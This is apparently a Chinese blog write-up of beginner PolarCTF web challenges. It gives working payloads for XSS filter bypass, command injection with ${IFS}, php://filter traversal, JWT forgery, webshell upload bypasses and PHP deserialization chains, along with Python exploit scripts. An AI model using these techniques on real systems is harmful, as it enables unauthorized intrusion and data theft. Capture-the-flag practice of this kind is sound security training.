明天XYCTF开始,今天干啥也不是,过过签到八股吧。
swp
随手试试,直接访问到/.index.php.swp
最大回溯上限绕过preg_match
import requests
url = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {
'xdmtql': 'sys nb'+'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)
运行脚本拿到flag
简单rce
过滤了空格,可以联想到用include直接包含/flag
蜜雪冰城吉警店
8个奶茶,要找第9个
js有点难审&调试比较牛马,下断一直不中,直接结果论吧,改id为9
改前端,点单成功
召唤神龙
进来是一个js小游戏,但没有胜利条件啥的,js关键词搜不出什么头绪
在main.js中看到一段很刺眼的jsfuck
JSFuck 是一种 JavaScript 的混淆技术,它可以将 JavaScript 代码转换成仅由六个字符组成的代码,即
[]()!+
。这种技术基于 JavaScript 语言的强大特性,尤其是强制类型转换和 JavaScript 中的一些奇技淫巧。
CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法
成功解码拿到flag
seek flag
访问/robots.txt拿到第三段flag
抓包,在响应头处拿到flag2
注意到响应头setcookie,让id=0
本着叛逆的原则,我们可以修改cookie让id为1,成功拿到flag1
jwt
这个一眼垂直越权啊,先注册一个普通用户,然后jwt伪造成功以admin登录
JSON Web Tokens - jwt.io
jwt-cracker爆破出密钥为SYSA
然后jwt伪造
改cookie中的jwt,然后再次访问
进入个人中心,拿到flag
login
f12看到注释,知道学号密码都是20200101
然而只是回显登录成功
爆破后发现就是学号02-11的登录回显,进行拼凑得到flag{dlcg}
iphone
随便点下Enter
右键查看源码,提示改UA
改UA为iphone即可拿到flag
浮生日记
title提示让我们弹个窗
测过无ssti,结合题目名字,合理可以想到js注入
发现替换了script为空,然后赋值给value
显然可以先闭合value,然后独立出一个script执行恶意代码
payload:
"><scrscriptipt>alert(1)</scrscriptipt>
点击确定后拿到flag
$$
直接$GLOBALS读全局变量就可
payload:
?c=GLOBALS
爆破
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。
这个肯定不是啥php特性了,只能如题所说,爆破!
2位就能爆出来
XFF
直接xff伪造ip即可
rce1
过滤空格用${IFS}绕过即可
;tac${IFS}fllllaaag.php
右键查看源码,拿到flag
GET-POST
正常传参就行
被黑掉的站
提示站里还有马
扫出来index.php.bak和shell.php
访问index.php.bak,就是给到一个字典
访问shell.php,显然就是拿字典爆破
开爆就完了
拿到flag
签到题
承认是个弟弟,但setcookie初始值为no
改didi=yes,发包
base64解码
访问/data/index.php
替换为空双写绕过即可
payload:
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
base64解码即可
签到
把disabled删掉就可
弹窗
但提交后还是不行,继续看前端
把maxlength改大即可
如下
session文件包含
发包,看到响应头给了一个PHPSESSID
点击mydirectory,回显如下
右键查看源码:
似乎可以任意文件包含,尝试读文件
base64解码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
session_start()一般是给session反序列化用的,这题考的不是反序列化
可以直接利用恶意session文件包含
笑死,直接读环境变量的flag是假的,只能读文件
Don't touch me
右键查看源码
访问/2.php
把bottom的disabled属性给删掉,点击后跳转/3.php
右键查看源码
访问/fla.php拿到flag
robots
访问/robots.txt
访问/fl0g.php拿到flag
php very nice
这不直接喂到嘴边了
$a=new Example();
$a->sys="system('tac f*');";
echo serialize($a);
ezupload
改mime type为image/gif即可
连蚁剑,拿flag
cookie欺骗
cookie改user=admin即可
upload
随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析
回到初始界面,右键查看源码
访问?action=show_code拿到源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
替换为空,直接双写绕过即可
可以看到成功上传php文件
连蚁剑,拿flag
干正则
🤔一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过
无回显的shell_exec也直接echo了
payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*
cool
系统命令执行函数没ban干净只能说
payload:
?a=passthru('cat f*');
uploader
这不就纯纯的无过滤文件上传,还回显路径
用py写个文件上传脚本
import requests
url = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/' # 替换成你的服务器地址
files = {'file': open('D:\CTF\码\yjh3.php', 'rb')} # 将文件名替换为你想上传的文件
response = requests.post(url, files=files)
if response.status_code == 200:
print("文件上传成功!")
print("服务器返回的消息:", response.text)
else:
print("文件上传失败!")
print("错误码:", response.status_code)
拿到$sandbox和filename,拼接得到文件路径
http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/d7c0fc90dc45cff7fac2064cf82a39a9/yjh3.php
连蚁剑,拿flag
覆盖
和之前哪题好像一样的,不解释了
payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*
PHP反序列化初试
一眼出链子
Easy.__wakeup -> Evil.__toString
注意这里的shell_exec也是echo给了回显
exp:
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);
?>
机器人
访问/robots.txt
访问/27f5e15b6af3223f1176293cd015771d/flag.php(因为这里Disallow的是一个目录,所以猜测敏感文件在这个目录下)
拼接拿到flag
快速打完,睡觉💤
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。